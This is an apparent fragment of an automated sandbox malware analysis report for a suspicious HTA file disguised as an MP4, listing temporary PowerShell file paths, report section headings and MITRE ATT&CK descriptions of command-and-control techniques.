C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_covk3v2u.s0z.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jwmdcjh5.eyt.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tztxhapk.but.psm1

Static File Info

General

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
winwidgetshp.mp4.hta

Function 03080959 Relevance: 1.6, APIs: 1, Instructions: 58
nativethreadCOMMON

Function 071568E0 Relevance: 1.9, APIs: 1, Instructions: 407
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre